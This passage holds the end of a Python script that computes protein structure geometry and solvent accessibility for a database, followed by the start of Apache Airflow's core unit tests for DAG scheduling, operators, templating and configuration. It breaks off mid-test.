",", ref_tm1[2] ,"];") # print("pseudo ca, pos=[", gns_ca_list[key_tm1][0], ",", gns_ca_list[key_tm1][1], ",", gns_ca_list[key_tm1][2] ,"];") # print("pseudo mid, pos=[", center_tm1[0], ",", center_tm1[1], ",", center_tm1[2] ,"];") # print(rotation_angles[key_tm1]) # triangular matrix for distances up_ind = np.triu_indices(len(gns_ca_list), 1) bulk_distances = [] for i1, i2 in zip(up_ind[0], up_ind[1]): key1 = gns_ids_list[i1] key2 = gns_ids_list[i2] res1 = full_resdict[str(key1)] res2 = full_resdict[str(key2)] ca_dist = int(np.linalg.norm(gns_ca_list[key1] - gns_ca_list[key2])*distance_scaling_factor) cb_dist = int(np.linalg.norm(gns_cb_list[key1] - gns_cb_list[key2])*distance_scaling_factor) center_dist = None if key1 in gns_center_list and key2 in gns_center_list: center_dist = int(np.linalg.norm(gns_center_list[key1] - gns_center_list[key2])*distance_scaling_factor) # residues in gn_reslist, structure in structure distance = Distance(distance = ca_dist, distance_cb = cb_dist, distance_helix_center = center_dist, res1=res1, res2=res2, gn1=res1.generic_number.label, gn2=res2.generic_number.label, gns_pair='_'.join([res1.generic_number.label, res2.generic_number.label]), structure=reference) bulk_distances.append(distance) # Bulk insert Distance.objects.bulk_create(bulk_distances, batch_size=5000) ### ANGLES # Center axis to helix axis to CA a_angle = np.concatenate([axes_calc(h,p,pca) for h,p in zip(hres_list,helix_pcas)]).round(3) # Center axis to CA to CB b_angle = np.concatenate([ca_cb_calc(ca,cb,pca) for ca,cb in zip(hres_list,h_cb_list)]).round(3) # Distance from center axis to CA core_distances = np.concatenate([ca_distance_calc(ca,pca) for ca in hres_list]).round(3) ### freeSASA (only for TM bundle) # SASA calculations - results per atom clean_structure = self.load_pdb_var(pdb_code,reference.pdb_data.pdb) clean_pchain = clean_structure[0][preferred_chain] # PTM residues give an FreeSASA error - remove db_fullset = set([(' ',r.sequence_number,' ') for r in db_reslist]) recurse(clean_structure, [[0], preferred_chain, db_fullset]) # Remove hydrogens from structure (e.g. 5VRA) for residue in clean_structure[0][preferred_chain]: for id in [atom.id for atom in residue if atom.element == "H"]: residue.detach_child(id) res, trash = freesasa.calcBioPDB(clean_structure) # create results dictionary per residue asa_list = {} rsa_list = {} atomlist = list(clean_pchain.get_atoms()) for i in range(res.nAtoms()): resnum = str(atomlist[i].get_parent().id[1]) if resnum not in asa_list: asa_list[resnum] = 0 rsa_list[resnum] = 0 resname = atomlist[i].get_parent().get_resname() if resname in maxSASA: rsa_list[resnum] += res.atomArea(i)/maxSASA[resname]*100 else: rsa_list[resnum] = None asa_list[resnum] += res.atomArea(i) # correct for N/C-term exposure for i in rsa_list: if (rsa_list[i]>100): rsa_list[i] = 100 ### Half-sphere exposure (HSE) hse = pdb.HSExposure.HSExposureCB(structure[0][preferred_chain]) # x[1] contains HSE - 0 outer half, 1 - inner half, 2 - ? hselist = dict([ (str(x[0].id[1]), x[1][0]) if x[1][0] > 0 else (str(x[0].id[1]), 0) for x in hse ]) # Few checks if GN_only: if len(pchain) != len(a_angle): raise Exception("\033[91mLength mismatch a-angles " + pdb_code + "\033[0m") if len(pchain) != len(b_angle): raise Exception("\033[91mLength mismatch b-angles " + pdb_code + "\033[0m") ### Collect all data in database list #print(a_angle) # only TM #print(b_angle) # only TM #print(asa_list) # only TM #print(hselist) # only TM #print(dihedrals) # HUSK: contains full protein! ### PCA space can be upside down - in that case invert the results # Check rotation of 1x49 - 1x50 inversion_ref = -1 for res in tm_keys: inversion_ref += 1 if gdict[res].generic_number.label == "1x49": break signed_diff = (a_angle[inversion_ref + 1] - a_angle[inversion_ref] + 540 ) % 360 - 180 if signed_diff > 0: # print("{} Rotating the wrong way {}".format(pdb_code, signed_diff)) a_angle = -1*a_angle b_angle = -1*b_angle # else: # print("{} Rotating the right way {}".format(pdb_code, signed_diff)) # tm_keys_str = [str(i) for i in tm_keys] a_angle = dict(zip(tm_keys_str, a_angle)) b_angle = dict(zip(tm_keys_str, b_angle)) core_distances = dict(zip(tm_keys_str, core_distances)) midpoint_distances = dict(zip(tm_keys_str, midpoint_distances)) mid_membrane_distances = dict(zip(tm_keys_str, mid_membrane_distances)) # Correct for missing values for res in polychain: residue_id = str(res.id[1]) if not residue_id in a_angle: a_angle[residue_id] = None if not residue_id in b_angle: b_angle[residue_id] = None if not residue_id in core_distances: core_distances[residue_id] = None if not residue_id in midpoint_distances: midpoint_distances[residue_id] = None if not residue_id in mid_membrane_distances: mid_membrane_distances[residue_id] = None if not residue_id in rsa_list: rsa_list[residue_id] = None if not residue_id in hselist: hselist[residue_id] = None if not residue_id in dihedrals: dihedrals[residue_id] = None if not residue_id in asa_list: asa_list[residue_id] = None if not residue_id in rotation_angles: rotation_angles[residue_id] = None #for res, angle1, angle2, distance, midpoint_distance, mid_membrane_distance in zip(pchain, a_angle, b_angle, core_distances, midpoint_distances, mid_membrane_distances): for res in polychain: residue_id = str(res.id[1]) # structure, residue, A-angle, B-angle, RSA, HSE, "PHI", "PSI", "THETA", "TAU", "SS_DSSP", "SS_STRIDE", "OUTER", "TAU_ANGLE", "CHI", "MISSING", "ASA", "DISTANCE", "ROTATION_ANGLE" if residue_id in full_resdict: dblist.append([reference, full_resdict[residue_id], a_angle[residue_id], b_angle[residue_id], \ rsa_list[residue_id], \ hselist[residue_id]] + \ dihedrals[residue_id] + \ [asa_list[residue_id], core_distances[residue_id], midpoint_distances[residue_id], mid_membrane_distances[residue_id], rotation_angles[residue_id]]) except Exception as e: print(pdb_code, " - ERROR - ", e) failed.append(pdb_code) # DEBUGGING if True: traceback.print_exc() # exit(0) continue # for i in range(4): # for key in angle_dict[i]: # sortlist = np.array(angle_dict[i][key]) # median_dict[i][key] = np.median(sortlist) # for i, res in enumerate(dblist): # g = res[0] # a = res[1] # # templist = copy.copy(angle_dict[res[4]][g.generic_number.label]) # del templist[templist.index(a)] # std_test = abs(np.average(templist) - int(a))/np.std(templist) # std_len = len(templist) - 1 # std = stats.t.cdf(std_test, df=std_len) # dblist[i].append(0.501 if np.isnan(std) else std) # structure, residue, A-angle, B-angle, RSA, HSE, "PHI", "PSI", "THETA", "TAU", "SS_DSSP", "SS_STRIDE", "OUTER", "TAU_ANGLE", "CHI", "MISSING", "ASA", "DISTANCE", "ROTATION_ANGLE" object_list = [] for ref,res,a1,a2,rsa,hse,phi,psi,theta,tau,ss_dssp,ss_stride,outer,tau_angle,chi_angles,missing,asa,distance,midpoint_distance,mid_membrane_distance,rotation_angle in dblist: try: if asa != None: asa = round(asa,1) if outer != None: outer = round(np.rad2deg(outer),3) if phi != None: phi = round(np.rad2deg(phi),3) if psi != None: psi = round(np.rad2deg(psi),3) if rsa != None: rsa = round(rsa,1) if theta != None: theta = round(np.rad2deg(theta),3) if tau != None: tau = round(np.rad2deg(tau),3) if tau_angle != None: tau_angle = round(np.rad2deg(tau_angle),3) object_list.append(Angle(residue=res, a_angle=a1, b_angle=a2, structure=ref, sasa=asa, rsa=rsa, hse=hse, phi=phi, psi=psi, theta=theta, tau=tau, tau_angle=tau_angle, chi1=chi_angles[0], chi2=chi_angles[1], chi3=chi_angles[2], chi4=chi_angles[3], chi5=chi_angles[4], missing_atoms=missing, ss_dssp=ss_dssp, ss_stride=ss_stride, outer_angle=outer, core_distance=distance, mid_distance=midpoint_distance, midplane_distance=mid_membrane_distance, rotation_angle=rotation_angle)) except Exception as e: print(e) print([ref,res,a1,a2,rsa,hse,phi,psi,theta,tau,ss_dssp,ss_stride,outer,tau_angle,asa,distance,midpoint_distance,mid_membrane_distance]) print("created list") print(len(object_list)) # Store the results # faster than updating: deleting and recreating Angle.objects.bulk_create(object_list,batch_size=5000)
core.py
# -*- coding: utf-8 -*- # # Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not use this file except in compliance # with the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, # software distributed under the License is distributed on an # "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY # KIND, either express or implied. See the License for the # specific language governing permissions and limitations # under the License. from __future__ import print_function import json import unittest import doctest import mock import multiprocessing import os import re import signal import sqlalchemy import subprocess import tempfile import warnings from datetime import timedelta from dateutil.relativedelta import relativedelta from email.mime.application import MIMEApplication from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText from numpy.testing import assert_array_almost_equal from six.moves.urllib.parse import urlencode from time import sleep from bs4 import BeautifulSoup from airflow import configuration from airflow.executors import SequentialExecutor from airflow.models import Variable, TaskInstance from airflow import jobs, models, DAG, utils, macros, settings, exceptions from airflow.models import BaseOperator, Connection, TaskFail from airflow.operators.bash_operator import BashOperator from airflow.operators.check_operator import CheckOperator, ValueCheckOperator from airflow.operators.dagrun_operator import TriggerDagRunOperator from airflow.operators.python_operator import PythonOperator from airflow.operators.dummy_operator import DummyOperator from airflow.hooks.base_hook import BaseHook from airflow.hooks.sqlite_hook import SqliteHook from airflow.bin import cli from airflow.www import app as application from airflow.settings import Session from airflow.utils import timezone from airflow.utils.timezone import datetime from airflow.utils.state import State from airflow.utils.dates import days_ago, infer_time_unit, round_time, scale_time_units from airflow.exceptions import AirflowException from airflow.configuration import AirflowConfigException, run_command from jinja2.exceptions import SecurityError from jinja2 import UndefinedError from pendulum import utcnow import six NUM_EXAMPLE_DAGS = 18 DEV_NULL = '/dev/null' TEST_DAG_FOLDER = os.path.join( os.path.dirname(os.path.realpath(__file__)), 'dags') DEFAULT_DATE = datetime(2015, 1, 1) DEFAULT_DATE_ISO = DEFAULT_DATE.isoformat() DEFAULT_DATE_DS = DEFAULT_DATE_ISO[:10] TEST_DAG_ID = 'unit_tests' EXAMPLE_DAG_DEFAULT_DATE = days_ago(2) try: import cPickle as pickle except ImportError: # Python 3 import pickle # type: ignore class OperatorSubclass(BaseOperator): """ An operator to test template substitution """ template_fields = ['some_templated_field'] def __init__(self, some_templated_field, *args, **kwargs): super(OperatorSubclass, self).__init__(*args, **kwargs) self.some_templated_field = some_templated_field def execute(*args, **kwargs): pass class CoreTest(unittest.TestCase): default_scheduler_args = {"num_runs": 1} def setUp(self): configuration.conf.load_test_config() self.dagbag = models.DagBag( dag_folder=DEV_NULL, include_examples=True) self.args = {'owner': 'airflow', 'start_date': DEFAULT_DATE} self.dag = DAG(TEST_DAG_ID, default_args=self.args) self.dag_bash = self.dagbag.dags['example_bash_operator'] self.runme_0 = self.dag_bash.get_task('runme_0') self.run_after_loop = self.dag_bash.get_task('run_after_loop') self.run_this_last = self.dag_bash.get_task('run_this_last') def tearDown(self): if os.environ.get('KUBERNETES_VERSION') is None: session = Session() session.query(models.TaskInstance).filter_by( dag_id=TEST_DAG_ID).delete() session.query(TaskFail).filter_by( dag_id=TEST_DAG_ID).delete() session.commit() session.close() def test_schedule_dag_no_previous_runs(self): """ Tests scheduling a dag with no previous runs """ dag = DAG(TEST_DAG_ID + 'test_schedule_dag_no_previous_runs') dag.add_task(models.BaseOperator( task_id="faketastic", owner='Also fake', start_date=datetime(2015, 1, 2, 0, 0))) dag_run = jobs.SchedulerJob(**self.default_scheduler_args).create_dag_run(dag) self.assertIsNotNone(dag_run) self.assertEqual(dag.dag_id, dag_run.dag_id) self.assertIsNotNone(dag_run.run_id) self.assertNotEqual('', dag_run.run_id) self.assertEqual( datetime(2015, 1, 2, 0, 0), dag_run.execution_date, msg='dag_run.execution_date did not match expectation: {0}' .format(dag_run.execution_date) ) self.assertEqual(State.RUNNING, dag_run.state) self.assertFalse(dag_run.external_trigger) dag.clear() def test_schedule_dag_relativedelta(self): """ Tests scheduling a dag with a relativedelta schedule_interval """ delta = relativedelta(hours=+1) dag = DAG(TEST_DAG_ID + 'test_schedule_dag_relativedelta', schedule_interval=delta) dag.add_task(models.BaseOperator( task_id="faketastic", owner='Also fake', start_date=datetime(2015, 1, 2, 0, 0))) dag_run = jobs.SchedulerJob(**self.default_scheduler_args).create_dag_run(dag) self.assertIsNotNone(dag_run) self.assertEqual(dag.dag_id, dag_run.dag_id) self.assertIsNotNone(dag_run.run_id) self.assertNotEqual('', dag_run.run_id) self.assertEqual( datetime(2015, 1, 2, 0, 0), dag_run.execution_date, msg='dag_run.execution_date did not match expectation: {0}' .format(dag_run.execution_date) ) self.assertEqual(State.RUNNING, dag_run.state) self.assertFalse(dag_run.external_trigger) dag_run2 = jobs.SchedulerJob(**self.default_scheduler_args).create_dag_run(dag) self.assertIsNotNone(dag_run2) self.assertEqual(dag.dag_id, dag_run2.dag_id) self.assertIsNotNone(dag_run2.run_id) self.assertNotEqual('', dag_run2.run_id) self.assertEqual( datetime(2015, 1, 2, 0, 0) + delta, dag_run2.execution_date, msg='dag_run2.execution_date did not match expectation: {0}' .format(dag_run2.execution_date) ) self.assertEqual(State.RUNNING, dag_run2.state) self.assertFalse(dag_run2.external_trigger) dag.clear() def test_schedule_dag_fake_scheduled_previous(self): """ Test scheduling a dag where there is a prior DagRun which has the same run_id as the next run should have """ delta = timedelta(hours=1) dag = DAG(TEST_DAG_ID + 'test_schedule_dag_fake_scheduled_previous', schedule_interval=delta, start_date=DEFAULT_DATE) dag.add_task(models.BaseOperator( task_id="faketastic", owner='Also fake', start_date=DEFAULT_DATE)) scheduler = jobs.SchedulerJob(**self.default_scheduler_args) dag.create_dagrun(run_id=models.DagRun.id_for_date(DEFAULT_DATE), execution_date=DEFAULT_DATE, state=State.SUCCESS, external_trigger=True) dag_run = scheduler.create_dag_run(dag) self.assertIsNotNone(dag_run) self.assertEqual(dag.dag_id, dag_run.dag_id) self.assertIsNotNone(dag_run.run_id) self.assertNotEqual('', dag_run.run_id) self.assertEqual( DEFAULT_DATE + delta, dag_run.execution_date, msg='dag_run.execution_date did not match expectation: {0}' .format(dag_run.execution_date) ) self.assertEqual(State.RUNNING, dag_run.state) self.assertFalse(dag_run.external_trigger) def test_schedule_dag_once(self): """ Tests scheduling a dag scheduled for @once - should be scheduled the first time it is called, and not scheduled the second. """ dag = DAG(TEST_DAG_ID + 'test_schedule_dag_once') dag.schedule_interval = '@once' dag.add_task(models.BaseOperator( task_id="faketastic", owner='Also fake', start_date=datetime(2015, 1, 2, 0, 0))) dag_run = jobs.SchedulerJob(**self.default_scheduler_args).create_dag_run(dag) dag_run2 = jobs.SchedulerJob(**self.default_scheduler_args).create_dag_run(dag) self.assertIsNotNone(dag_run) self.assertIsNone(dag_run2) dag.clear() def test_fractional_seconds(self): """ Tests if fractional seconds are stored in the database """ dag = DAG(TEST_DAG_ID + 'test_fractional_seconds') dag.schedule_interval = '@once' dag.add_task(models.BaseOperator( task_id="faketastic", owner='Also fake', start_date=datetime(2015, 1, 2, 0, 0))) start_date = timezone.utcnow() run = dag.create_dagrun( run_id='test_' + start_date.isoformat(), execution_date=start_date, start_date=start_date, state=State.RUNNING, external_trigger=False ) run.refresh_from_db() self.assertEqual(start_date, run.execution_date, "dag run execution_date loses precision") self.assertEqual(start_date, run.start_date, "dag run start_date loses precision ") def test_schedule_dag_start_end_dates(self): """ Tests that an attempt to schedule a task after the Dag's end_date does not succeed. """ delta = timedelta(hours=1) runs = 3 start_date = DEFAULT_DATE end_date = start_date + (runs - 1) * delta dag = DAG(TEST_DAG_ID + 'test_schedule_dag_start_end_dates', start_date=start_date, end_date=end_date, schedule_interval=delta) dag.add_task(models.BaseOperator(task_id='faketastic', owner='Also fake')) # Create and schedule the dag runs dag_runs = [] scheduler = jobs.SchedulerJob(**self.default_scheduler_args) for i in range(runs): dag_runs.append(scheduler.create_dag_run(dag)) additional_dag_run = scheduler.create_dag_run(dag) for dag_run in dag_runs: self.assertIsNotNone(dag_run) self.assertIsNone(additional_dag_run) def test_schedule_dag_no_end_date_up_to_today_only(self): """ Tests that a Dag created without an end_date can only be scheduled up to and including the current datetime. For example, if today is 2016-01-01 and we are scheduling from a start_date of 2015-01-01, only jobs up to, but not including 2016-01-01 should be scheduled. """ session = settings.Session() delta = timedelta(days=1) now = utcnow() start_date = now.subtract(weeks=1) runs = (now - start_date).days dag = DAG(TEST_DAG_ID + 'test_schedule_dag_no_end_date_up_to_today_only', start_date=start_date, schedule_interval=delta) dag.add_task(models.BaseOperator(task_id='faketastic', owner='Also fake')) dag_runs = [] scheduler = jobs.SchedulerJob(**self.default_scheduler_args) for i in range(runs): dag_run = scheduler.create_dag_run(dag) dag_runs.append(dag_run) # Mark the DagRun as complete dag_run.state = State.SUCCESS session.merge(dag_run) session.commit() # Attempt to schedule an additional dag run (for 2016-01-01) additional_dag_run = scheduler.create_dag_run(dag) for dag_run in dag_runs: self.assertIsNotNone(dag_run) self.assertIsNone(additional_dag_run) def test_confirm_unittest_mod(self): self.assertTrue(configuration.conf.get('core', 'unit_test_mode')) def test_pickling(self): dp = self.dag.pickle() self.assertEqual(dp.pickle.dag_id, self.dag.dag_id) def test_rich_comparison_ops(self): class DAGsubclass(DAG): pass dag_eq = DAG(TEST_DAG_ID, default_args=self.args) dag_diff_load_time = DAG(TEST_DAG_ID, default_args=self.args) dag_diff_name = DAG(TEST_DAG_ID + '_neq', default_args=self.args) dag_subclass = DAGsubclass(TEST_DAG_ID, default_args=self.args) dag_subclass_diff_name = DAGsubclass( TEST_DAG_ID + '2', default_args=self.args) for d in [dag_eq, dag_diff_name, dag_subclass, dag_subclass_diff_name]: d.last_loaded = self.dag.last_loaded # test identity equality self.assertEqual(self.dag, self.dag) # test dag (in)equality based on _comps self.assertEqual(dag_eq, self.dag) self.assertNotEqual(dag_diff_name, self.dag) self.assertNotEqual(dag_diff_load_time, self.dag) # test dag inequality based on type even if _comps happen to match self.assertNotEqual(dag_subclass, self.dag) # a dag should equal an unpickled version of itself d = pickle.dumps(self.dag) self.assertEqual(pickle.loads(d), self.dag) # dags are ordered based on dag_id no matter what the type is self.assertLess(self.dag, dag_diff_name) self.assertGreater(self.dag, dag_diff_load_time) self.assertLess(self.dag, dag_subclass_diff_name) # greater than should have been created automatically by functools self.assertGreater(dag_diff_name, self.dag) # hashes are non-random and match equality self.assertEqual(hash(self.dag), hash(self.dag)) self.assertEqual(hash(dag_eq), hash(self.dag)) self.assertNotEqual(hash(dag_diff_name), hash(self.dag)) self.assertNotEqual(hash(dag_subclass), hash(self.dag)) def test_check_operators(self): conn_id = "sqlite_default" captainHook = BaseHook.get_hook(conn_id=conn_id) captainHook.run("CREATE TABLE operator_test_table (a, b)") captainHook.run("insert into operator_test_table values (1,2)") t = CheckOperator( task_id='check', sql="select count(*) from operator_test_table", conn_id=conn_id, dag=self.dag) t.run(start_date=DEFAULT_DATE, end_date=DEFAULT_DATE, ignore_ti_state=True) t = ValueCheckOperator( task_id='value_check', pass_value=95, tolerance=0.1, conn_id=conn_id, sql="SELECT 100", dag=self.dag) t.run(start_date=DEFAULT_DATE, end_date=DEFAULT_DATE, ignore_ti_state=True) captainHook.run("drop table operator_test_table") def test_clear_api(self): task = self.dag_bash.tasks[0] task.clear( start_date=DEFAULT_DATE, end_date=DEFAULT_DATE, upstream=True, downstream=True) ti = models.TaskInstance(task=task, execution_date=DEFAULT_DATE) ti.are_dependents_done() def test_illegal_args(self): """ Tests that Operators reject illegal arguments """ with warnings.catch_warnings(record=True) as w: BashOperator( task_id='test_illegal_args', bash_command='echo success', dag=self.dag, illegal_argument_1234='hello?') self.assertTrue( issubclass(w[0].category, PendingDeprecationWarning)) self.assertIn( ('Invalid arguments were passed to BashOperator ' '(task_id: test_illegal_args).'), w[0].message.args[0]) def test_bash_operator(self): t = BashOperator( task_id='test_bash_operator', bash_command="echo success", dag=self.dag) t.run(start_date=DEFAULT_DATE, end_date=DEFAULT_DATE, ignore_ti_state=True) def test_bash_operator_multi_byte_output(self): t = BashOperator( task_id='test_multi_byte_bash_operator', bash_command=u"echo \u2600", dag=self.dag, output_encoding='utf-8') t.run(start_date=DEFAULT_DATE, end_date=DEFAULT_DATE, ignore_ti_state=True) def test_bash_operator_kill(self): import psutil sleep_time = "100%d" % os.getpid() t = BashOperator( task_id='test_bash_operator_kill', execution_timeout=timedelta(seconds=1), bash_command="/bin/bash -c 'sleep %s'" % sleep_time, dag=self.dag) self.assertRaises( exceptions.AirflowTaskTimeout, t.run, start_date=DEFAULT_DATE, end_date=DEFAULT_DATE) sleep(2) pid = -1 for proc in psutil.process_iter(): if proc.cmdline() == ['sleep', sleep_time]: pid = proc.pid if pid != -1: os.kill(pid, signal.SIGTERM) self.fail("BashOperator's subprocess still running after stopping on timeout!") def test_on_failure_callback(self): # Annoying workaround for nonlocal not existing in python 2 data = {'called': False} def check_failure(context, test_case=self): data['called'] = True error = context.get('exception') test_case.assertIsInstance(error, AirflowException) t = BashOperator( task_id='check_on_failure_callback', bash_command="exit 1", dag=self.dag, on_failure_callback=check_failure) self.assertRaises( exceptions.AirflowException, t.run, start_date=DEFAULT_DATE, end_date=DEFAULT_DATE, ignore_ti_state=True) self.assertTrue(data['called']) def test_trigger_dagrun(self): def trigga(context, obj): if True: return obj t = TriggerDagRunOperator( task_id='test_trigger_dagrun', trigger_dag_id='example_bash_operator', python_callable=trigga, dag=self.dag) t.run(start_date=DEFAULT_DATE, end_date=DEFAULT_DATE, ignore_ti_state=True) def test_dryrun(self): t = BashOperator( task_id='test_dryrun', bash_command="echo success", dag=self.dag) t.dry_run() def test_sqlite(self): import airflow.operators.sqlite_operator t = airflow.operators.sqlite_operator.SqliteOperator( task_id='time_sqlite', sql="CREATE TABLE IF NOT EXISTS unitest (dummy VARCHAR(20))", dag=self.dag) t.run(start_date=DEFAULT_DATE, end_date=DEFAULT_DATE, ignore_ti_state=True) def test_timeout(self): t = PythonOperator( task_id='test_timeout', execution_timeout=timedelta(seconds=1), python_callable=lambda: sleep(5), dag=self.dag) self.assertRaises( exceptions.AirflowTaskTimeout, t.run, start_date=DEFAULT_DATE, end_date=DEFAULT_DATE, ignore_ti_state=True) def test_python_op(self): def test_py_op(templates_dict, ds, **kwargs): if not templates_dict['ds'] == ds: raise Exception("failure") t = PythonOperator( task_id='test_py_op', provide_context=True, python_callable=test_py_op, templates_dict={'ds': "{{ ds }}"}, dag=self.dag) t.run(start_date=DEFAULT_DATE, end_date=DEFAULT_DATE, ignore_ti_state=True) def test_complex_template(self): def verify_templated_field(context): self.assertEqual(context['ti'].task.some_templated_field['bar'][1], context['ds']) t = OperatorSubclass( task_id='test_complex_template', some_templated_field={ 'foo': '123', 'bar': ['baz', '{{ ds }}'] }, dag=self.dag) t.execute = verify_templated_field t.run(start_date=DEFAULT_DATE, end_date=DEFAULT_DATE, ignore_ti_state=True) def test_template_with_variable(self): """ Test the availability of variables in templates """ val = { 'test_value': 'a test value' } Variable.set("a_variable", val['test_value']) def verify_templated_field(context): self.assertEqual(context['ti'].task.some_templated_field, val['test_value']) t = OperatorSubclass( task_id='test_complex_template', some_templated_field='{{ var.value.a_variable }}', dag=self.dag) t.execute = verify_templated_field t.run(start_date=DEFAULT_DATE, end_date=DEFAULT_DATE, ignore_ti_state=True) def test_template_with_json_variable(self): """ Test the availability of variables (serialized as JSON) in templates """ val = { 'test_value': {'foo': 'bar', 'obj': {'v1': 'yes', 'v2': 'no'}} } Variable.set("a_variable", val['test_value'], serialize_json=True) def verify_templated_field(context): self.assertEqual(context['ti'].task.some_templated_field, val['test_value']['obj']['v2']) t = OperatorSubclass( task_id='test_complex_template', some_templated_field='{{ var.json.a_variable.obj.v2 }}', dag=self.dag) t.execute = verify_templated_field t.run(start_date=DEFAULT_DATE, end_date=DEFAULT_DATE, ignore_ti_state=True) def test_template_with_json_variable_as_value(self): """ Test the availability of variables (serialized as JSON) in templates, but accessed as a value """ val = { 'test_value': {'foo': 'bar'} } Variable.set("a_variable", val['test_value'], serialize_json=True) def verify_templated_field(context): self.assertEqual(context['ti'].task.some_templated_field, u'{"foo": "bar"}') t = OperatorSubclass( task_id='test_complex_template', some_templated_field='{{ var.value.a_variable }}', dag=self.dag) t.execute = verify_templated_field t.run(start_date=DEFAULT_DATE, end_date=DEFAULT_DATE, ignore_ti_state=True) def test_template_non_bool(self): """ Test templates can handle objects with no sense of truthiness """ class NonBoolObject(object): def __len__(self): return NotImplemented def __bool__(self): return NotImplemented t = OperatorSubclass( task_id='test_bad_template_obj', some_templated_field=NonBoolObject(), dag=self.dag) t.resolve_template_files() def test_task_get_template(self): TI = models.TaskInstance ti = TI( task=self.runme_0, execution_date=DEFAULT_DATE) ti.dag = self.dag_bash ti.run(ignore_ti_state=True) context = ti.get_template_context() # DEFAULT DATE is 2015-01-01 self.assertEqual(context['ds'], '2015-01-01') self.assertEqual(context['ds_nodash'], '20150101') # next_ds is 2015-01-02 as the dag interval is daily self.assertEqual(context['next_ds'], '2015-01-02') self.assertEqual(context['next_ds_nodash'], '20150102') # prev_ds is 2014-12-31 as the dag interval is daily self.assertEqual(context['prev_ds'], '2014-12-31') self.assertEqual(context['prev_ds_nodash'], '20141231') self.assertEqual(context['ts'], '2015-01-01T00:00:00+00:00') self.assertEqual(context['ts_nodash'], '20150101T000000') self.assertEqual(context['ts_nodash_with_tz'], '20150101T000000+0000') self.assertEqual(context['yesterday_ds'], '2014-12-31') self.assertEqual(context['yesterday_ds_nodash'], '20141231') self.assertEqual(context['tomorrow_ds'], '2015-01-02') self.assertEqual(context['tomorrow_ds_nodash'], '20150102') def test_import_examples(self): self.assertEqual(len(self.dagbag.dags), NUM_EXAMPLE_DAGS) def test_local_task_job(self): TI = models.TaskInstance ti = TI( task=self.runme_0, execution_date=DEFAULT_DATE) job = jobs.LocalTaskJob(task_instance=ti, ignore_ti_state=True) job.run() def test_raw_job(self): TI = models.TaskInstance ti = TI( task=self.runme_0, execution_date=DEFAULT_DATE) ti.dag = self.dag_bash ti.run(ignore_ti_state=True) def test_doctests(self): modules = [utils, macros] for mod in modules: failed, tests = doctest.testmod(mod) if failed: raise Exception("Failed a doctest") def test_variable_set_get_round_trip(self): Variable.set("tested_var_set_id", "Monday morning breakfast") self.assertEqual("Monday morning breakfast", Variable.get("tested_var_set_id")) def test_variable_set_get_round_trip_json(self): value = {"a": 17, "b": 47} Variable.set("tested_var_set_id", value, serialize_json=True) self.assertEqual(value, Variable.get("tested_var_set_id", deserialize_json=True)) def test_get_non_existing_var_should_return_default(self): default_value = "some default val" self.assertEqual(default_value, Variable.get("thisIdDoesNotExist", default_var=default_value)) def test_get_non_existing_var_should_raise_key_error(self): with self.assertRaises(KeyError): Variable.get("thisIdDoesNotExist") def test_get_non_existing_var_with_none_default_should_return_none(self): self.assertIsNone(Variable.get("thisIdDoesNotExist", default_var=None)) def test_get_non_existing_var_should_not_deserialize_json_default(self): default_value = "}{ this is a non JSON default }{" self.assertEqual(default_value, Variable.get("thisIdDoesNotExist", default_var=default_value, deserialize_json=True)) def test_variable_setdefault_round_trip(self): key = "tested_var_setdefault_1_id" value = "Monday morning breakfast in Paris" Variable.setdefault(key, value) self.assertEqual(value, Variable.get(key)) def test_variable_setdefault_round_trip_json(self): key = "tested_var_setdefault_2_id" value = {"city": 'Paris', "Hapiness": True} Variable.setdefault(key, value, deserialize_json=True) self.assertEqual(value, Variable.get(key, deserialize_json=True)) def test_variable_setdefault_existing_json(self): key = "tested_var_setdefault_2_id" value = {"city": 'Paris', "Hapiness": True} Variable.set(key, value, serialize_json=True) val = Variable.setdefault(key, value, deserialize_json=True) # Check the returned value, and the stored value are handled correctly. self.assertEqual(value, val) self.assertEqual(value, Variable.get(key, deserialize_json=True)) def test_parameterized_config_gen(self): cfg = configuration.parameterized_config(configuration.DEFAULT_CONFIG) # making sure some basic building blocks are present: self.assertIn("[core]", cfg) self.assertIn("dags_folder", cfg) self.assertIn("sql_alchemy_conn", cfg) self.assertIn("fernet_key", cfg) # making sure replacement actually happened self.assertNotIn("{AIRFLOW_HOME}", cfg) self.assertNotIn("{FERNET_KEY}", cfg) def test_config_use_original_when_original_and_fallback_are_present(self): self.assertTrue(configuration.conf.has_option("core", "FERNET_KEY")) self.assertFalse(configuration.conf.has_option("core", "FERNET_KEY_CMD")) FERNET_KEY = configuration.conf.get('core', 'FERNET_KEY') configuration.conf.set("core", "FERNET_KEY_CMD", "printf HELLO") FALLBACK_FERNET_KEY = configuration.conf.get( "core", "FERNET_KEY" ) self.assertEqual(FERNET_KEY, FALLBACK_FERNET_KEY) # restore the conf back to the original state configuration.conf.remove_option("core", "FERNET_KEY_CMD") def test_config_throw_error_when_original_and_fallback_is_absent(self): self.assertTrue(configuration.conf.has_option("core", "FERNET_KEY")) self.assertFalse(configuration.conf.has_option("core", "FERNET_KEY_CMD")) FERNET_KEY = configuration.conf.get("core", "FERNET_KEY") configuration.conf.remove_option("core", "FERNET_KEY") with self.assertRaises(AirflowConfigException) as cm: configuration.conf.get("core", "FERNET_KEY") exception = str(cm.exception) message = "section/key [core/fernet_key] not found in config" self.assertEqual(message, exception) # restore the conf back to the original state configuration.conf.set("core", "FERNET_KEY", FERNET_KEY) self.assertTrue(configuration.conf.has_option("core", "FERNET_KEY")) def test_config_override_original_when_non_empty_envvar_is_provided(self): key = "AIRFLOW__CORE__FERNET_KEY" value = "some value" self.assertNotIn(key, os.environ) os.environ[key] = value FERNET_KEY = configuration.conf.get('core', 'FERNET_KEY') self.assertEqual(value, FERNET_KEY) # restore the envvar back to the original state del os.environ[key] def test_config_override_original_when_empty_envvar_is_provided(self): key = "AIRFLOW__CORE__FERNET_KEY" value = "" self.assertNotIn(key, os.environ) os.environ[key] = value FERNET_KEY = configuration.conf.get('core', 'FERNET_KEY') self.assertEqual(value, FERNET_KEY) # restore the envvar back to the original state del os.environ[key] def test_round_time(self): rt1 = round_time(datetime(2015, 1, 1, 6), timedelta(days=1)) self.assertEqual(datetime(2015, 1, 1, 